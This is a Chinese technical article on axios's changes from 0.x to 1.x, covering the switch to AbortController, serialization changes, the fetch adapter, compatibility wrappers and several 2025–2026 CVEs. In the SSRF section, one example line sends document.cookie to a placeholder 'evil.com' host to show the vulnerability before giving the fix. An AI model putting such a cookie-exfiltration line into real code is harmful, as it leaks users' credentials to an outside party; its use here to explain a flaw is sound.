5月28日 01:48

axios 从 0.x 到 1.x 经历了哪些重大变更?升级和兼容性问题怎么处理

Axios 是前端最常用的 HTTP 客户端之一,从 2014 年发布 0.1.0 到 2026 年的 1.16.x,经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护,也是前端面试中的高频考点。

版本演进全景

Axios 的版本发展可以分为三个阶段:0.x 探索期(2014-2022)、1.0 稳定期(2022-2024)、安全强化期(2025-2026)。每个阶段都有影响开发者使用方式的关键变更。

里程碑版本速览

版本时间核心变更
0.1.02014初始发布,基于 Promise 的 HTTP 客户端
0.9.02015引入拦截器机制
0.12.02016添加 CancelToken 取消请求
0.16.02017支持 async/await
0.18.02018修复 XSS 漏洞
0.19.02019改进错误处理,引入 validateStatus
0.21.02020重大安全更新
1.0.02022正式版,CancelToken 废弃,推荐 AbortController
1.6.02023支持 Fetch API 适配器
1.8.02025引入 allowAbsoluteUrls 配置
1.13.02025支持 HTTP/2
1.15.02026修复多个严重安全漏洞
1.16.12026支持 QUERY 方法,安全加固

0.x 时期的关键变更

validateStatus 让错误处理更灵活(v0.19.0)

0.19.0 之前,只要服务端返回非 2xx 状态码,axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。

javascript
// 0.19.0 之后:自定义哪些状态码才算错误 axios.get("/api/user", { validateStatus: function (status) { return status < 500; // 只有 500+ 才抛错 }, });

TypeScript 泛型支持(v0.20.0)

0.20.0 改进了类型定义,支持泛型参数,告别了 response.data 的 any 类型。

typescript
interface User { id: number; name: string; } // 泛型推断,response.data 类型为 User const { data } = await axios.get<User>("/api/user");

1.0 正式版的重大变更

CancelToken 废弃,改用 AbortController

这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制,而 AbortController 是 Web 标准API,两者在用法和语义上完全不同。

javascript
// 旧写法(已废弃) const source = axios.CancelToken.source(); axios.get("/api/data", { cancelToken: source.token }); source.cancel("取消请求"); // 新写法(推荐) const controller = new AbortController(); axios.get("/api/data", { signal: controller.signal }); controller.abort("取消请求");

迁移时需要注意两点:abort() 调用后 signal 不可复用,需要新建 AbortController;cancel() 的错误对象是 CancelError,而 abort() 抛出的是 DOMException。

请求参数序列化行为变更

1.x 对 URL 参数的序列化规则做了调整:null 值序列化为空字符串,undefined 值直接忽略,嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式,升级后可能出现参数丢失。

javascript
// 1.x 的序列化结果 // { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1

Fetch API 适配器(v1.6.0)

1.6.0 引入了 Fetch API 适配器,让 axios 可以基于浏览器原生 fetch 运行,不再依赖 XMLHttpRequest。

javascript
// 使用 fetch 适配器 const instance = axios.create({ adapter: "fetch" }); // 条件选择适配器 const instance = axios.create({ adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr", });

2025-2026 安全修复风暴

2025 年以来 axios 集中修复了多个高危安全漏洞,这些 CVE 直接影响线上项目的安全性,是面试中区分深度的关键知识点。

CVE-2025-27152:绝对 URL 导致 SSRF 和凭证泄露

影响版本:≤ 1.7.9。当请求路径传入绝对 URL 时,即使设置了 baseURL,axios 仍会将请求发送到该绝对 URL 指向的地址,攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为,1.8.2 修复了此漏洞。

javascript
// 风险场景:baseURL 被绕过 const client = axios.create({ baseURL: "https://api.example.com" }); // 攻击者控制路径参数时,请求可能发往外部域名 client.get("https://evil.com/steal?cookie=" + document.cookie); // 修复:禁用绝对 URL const client = axios.create({ baseURL: "https://api.example.com", allowAbsoluteUrls: false, });

CVE-2025-58754:data URI 导致内存耗尽

影响版本:0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查,攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。

CVE-2025-62718:NO_PROXY 主机名绕过

影响版本:≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理,攻击者可以通过主机名的不同表示形式绕过代理规则,实现 SSRF。1.15.0 修复。

CVE-2026-25639:mergeConfig 中的原型污染 DoS

影响版本:1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 proto 键,攻击者可以通过注入 proto 属性触发原型污染,导致 DoS。1.13.5 修复。

兼容性处理实战

浏览器环境兼容

axios 依赖 Promise 和 XMLHttpRequest(或 Fetch API),在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略,而不是一刀切。

javascript
import axios from "axios"; // 根据环境自动选择适配器 function createClient(config = {}) { const adapter = typeof fetch !== "undefined" ? "fetch" : typeof XMLHttpRequest !== "undefined" ? "xhr" : undefined; // Node.js 使用 http 适配器 return axios.create({ adapter, ...config }); }

Node.js 环境兼容

axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中,同一段代码可能在浏览器和 Node.js 中运行,需要根据环境配置不同的 Agent。

javascript
const instance = axios.create({ // Node.js 环境配置 keep-alive ...(typeof process !== "undefined" && { httpAgent: new (require("http").Agent)({ keepAlive: true }), httpsAgent: new (require("https").Agent)({ keepAlive: true }), }), });

版本兼容封装

在维护多个项目或渐进式升级时,封装一层兼容层可以隔离版本差异,降低升级成本。

javascript
// compat.js - 版本兼容封装 import axios from "axios"; const isV1 = axios.VERSION && axios.VERSION.startsWith("1."); // 统一取消请求接口 export function createCancelableRequest() { if (isV1) { const controller = new AbortController(); return { signal: controller.signal, cancel: (msg) => controller.abort(msg), }; } const source = axios.CancelToken.source(); return { cancelToken: source.token, cancel: (msg) => source.cancel(msg), }; } // 统一实例创建 export function createInstance(config = {}) { return axios.create({ ...config, ...(isV1 && { transitional: { clarifyTimeoutError: true, forcedJSONParsing: true }, }), }); }

从 0.x 升级到 1.x 的检查清单

升级前逐项排查,可以避免大部分线上故障。

第一步:排查 CancelToken 使用。全局搜索 CancelToken 和 source.cancel,替换为 AbortController。注意 abort() 后 signal 不可复用,循环请求场景需要每次新建 controller。

第二步:检查参数序列化。如果后端依赖 null 参数传空字符串的行为,确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。

第三步:检查 TypeScript 类型。1.x 的类型导出路径有调整,AxiosResponse、AxiosRequestConfig 等需要确认导入方式。

第四步:检查自定义适配器。如果项目中使用了自定义适配器(如缓存适配器、Mock 适配器),需要适配 1.x 的适配器接口变更。

第五步:安全版本确认。确保升级到 1.15.1 以上版本,修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。

版本锁定与更新策略

生产环境中,推荐锁定 axios 的精确版本号,避免隐式升级引入兼容性问题。同时定期检查安全更新。

json
{ "dependencies": { "axios": "1.16.1" } }

对于 Monorepo 或微前端项目,使用 resolutions 字段统一 axios 版本,避免不同子项目引用不同版本。

json
{ "resolutions": { "axios": "1.16.1" } }

追问:axios 和 fetch 该怎么选

新项目中如果只需要基本的请求功能,fetch API 已经足够,浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力,axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存,在 fetch 基础上获得 axios 的上层能力。

标签:JavaScript前端Axios